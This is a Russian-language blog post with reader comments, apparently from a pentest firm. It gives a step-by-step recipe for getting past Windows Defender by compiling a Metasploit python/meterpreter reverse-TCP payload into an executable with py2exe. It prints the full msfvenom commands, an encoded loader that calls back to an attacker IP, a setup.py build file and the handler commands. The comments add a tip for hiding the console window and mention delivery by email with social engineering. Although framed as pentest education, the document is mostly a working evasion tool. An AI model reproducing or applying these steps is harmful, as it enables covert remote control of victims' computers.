Обходим Windows Defender дешево и сердито: meterpreter сессия через python

    image

    Всем привет. Сегодня рассмотрим вариант запуска meterpreter сессии на машине Windows 10 с самыми свежими патчами (включая Windows Defender). И все также будем обходить антивирусы. Meterpreter — расширенная многофункциональная начинка (payload, нагрузка), которая может быть динамически расширена во время выполнения. В нормальных условиях это обеспечивает вас основной оболочкой и позволяет вам добавлять новые особенности к ней по мере необходимости.
    Будем мы это делать с помощью Python, и посмотрим, как поведут себя антивирусные средства.

    Предугадывая вопрос «А нужен ли нам Python на машине жертвы для запуска ехе?», отвечу сразу – нет, не нужен, все уже внутри.

    В данной статье мы будем использовать:

    • Windows 10 с включенным Windows Defender с обновленными базами (компьютер жертвы 192.168.1.113);
    • Kali linux для использования metasploit и msfvenom (192.168.1.126);
    • Windows 10 для сборки бинарника (в нашей лаборатории совпадает с компьютером жертвы) с установленными;
    • Python (3, но и для 2 тоже посмотрим);
    • py2exe.

    Для начала обозначим проблему: создадим exe файл со стандартной нагрузкой, скопируем на машину жертвы и посмотрим к чему это приведёт.

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe

    Мы получаем предупреждение от нашего старого друга Windows Defender, которого мы так все любим.

    image

    Если спросим у VirusTotal, то он скажет следующее:

    image

    Давайте запустим Python и сделаем то, ради чего мы все тут собрались.

    Python/meterpreter/reverse_tcp – это уникальный кроссплатформенный payload Metasploit Framework, который позволяет удаленно управлять скомпрометированным компьютером. Не нужно думать о том, какую платформу выбрать, он сработает на любой, но в данном случае сделаем из него исполняемый файл под Windows.

    Для начала установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.

    У нас это будет Python 3.4 (все что выше – не поддерживает py2exe).

    py -3.4 –m pip install py2exe

    или

    pip install py2exe

    Далее создадим «сырой» питоновский код с расширением .py

    msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py

    Так же в вывод msfvenom нам необходимо добавить импорт getpass, который он забывает сделать сам. В итоге получиться должно так:

    import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

    Теперь у нас все готово для создания бинарника.

    python34 -m py2exe.build_exe hunt.py --bundle-files 0

    Должны получить следующее:

    image

    Давайте еще раз обратимся к VirusTotal:

    image

    Уже лучше, теперь проверим это в действии – после копирования на машину жертвы обходимся без алертов.

    Параллельно запустим наш msf и handler для питона, запустив последовательно команды:

    msfconsole
    use exploit/multi/handler
    set PAYLOAD python/meterpreter/reverse_tcp
    set lhost 192.168.1.126
    set lport 9001
    run
    

    image

    Пойдем дальше и убедимся, что сессия работает корректно.

    image

    Таким образом сессия запущена и Windows Defender не сработал, чего мы и добивались.

    Заодно давайте рассмотрим, что делать, если у вас Python 2ой версии.

    1. Качаем py2exe для python 2
    2. Генерируем payload с расширением .py
    3. Создаем файл setup.py и пишем туда следующее:

      from distutils.core import setup
      import py2exe
      setup(
      name = ‘Meter’,
      description = ‘Python-based App’,
      version = ‘1.0’,
      console=[‘hunt.py’],
      options = {‘py2exe’: {‘bundle_files’: 1,’packages’:’ctypes’,’includes’: ‘base64,sys,socket,struct,time,code,platform,getpass,shutil’,}},
      zipfile = None,
      ) 
    4. python.exe .\setup.py py2exe


    Должно получиться все то же самое.

    В качестве итога замечу, что оболочка python meterpreter уступает по функционалу более привычному windows meterpreter. Например, не получится мигрировать в процесс или использовать команды типа getsystem, но все же это реальная альтернатива: получить сессию для работы с msf (routing и portfwd как минимум) и далее работать внутри сети.
    T.Hunter
    Атакующая безопасность

    Комментарии 13

      0
      Таким образом сессия запущена и Windows Defender не сработал, чего мы и добивались.

      Так они с вирустоталом и не должны, можно даже не проверять. Для них же это просто интерпретатор с каким-то там байткодом, причем первый гарантировано чист, а второй они анализировать пока не умеют

        0
        ну чтобы примерно это и показать — приложил скрины =)
          0

          Я прост к тому, что не вижу преимуществ перед каким-нибудь исключительно текстовым JS-скриптом для встроенного wscript.exe, кроме упрощения эксплуатации с помощью msf

        +1

        А где собственно обход защиты? Вы как исполняли бинарник с правами пользователя, так и исполняете.
        Копируете бинаркник на компьютер жертвы и запускаете его там руками? Это не подходит под определения вируса от слова совсем.


        С таким же успехом можно было просто telnet или ssh сервер запустить абсолютно легитимно.

          0
          Но ведь руками мы запускаем в рамках этого кейса. Представьте что копирует один человек, а запускает совсем другой =) Ирл наша задача загрузить (например отправить по почте) и каким то манипуляциями запустить его (например соц инженерия).
            0

            А можно просто заставить запустить преконфигурированный openssh (можно даже переименовать его и сконпилировать уже со своим ключём).
            Этот метод внезапно обойдёт вообще все известные антивирусы.

              0
              если Вам так удобнее — то пожалуйста =) Мое мнение что meter сильно удобнее как пэйлоад. А статья лишь показывает один из способов как его можно запустить на виндовой тачке (в ходе пентеста коих большинство)
          0

          почему есть потребность использовать именно py2exe? Для чего не использовать, например, PyInstaller или иной способ собирать бинарники?

            0
            тут кому что удобно. Потребности использовать именно py2exe нет)
            0
            Вопрос прямой — как такую гадость задетектить или не дать ей выполниться?
            Кроме SRP разве что :)
              +1
              Я постараюсь все фишечки и лайфхаки для «синей» команды изложить в отдельной статье) В том числе рассмотрю и этот пример, и прошлый про мимикац
              +1
              в
              setup.py
              вместо:
              console=['hunt.py']

              лучше:
              windows=['hunt.py']

              Тогда при запуске скомпилированной программы не будет открываться окно консоли.
                +2
                дельно! но все приведено исключительно с образовательных целях, а в окне консоли если что можно можно увидеть ошибки (если они есть) =)

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое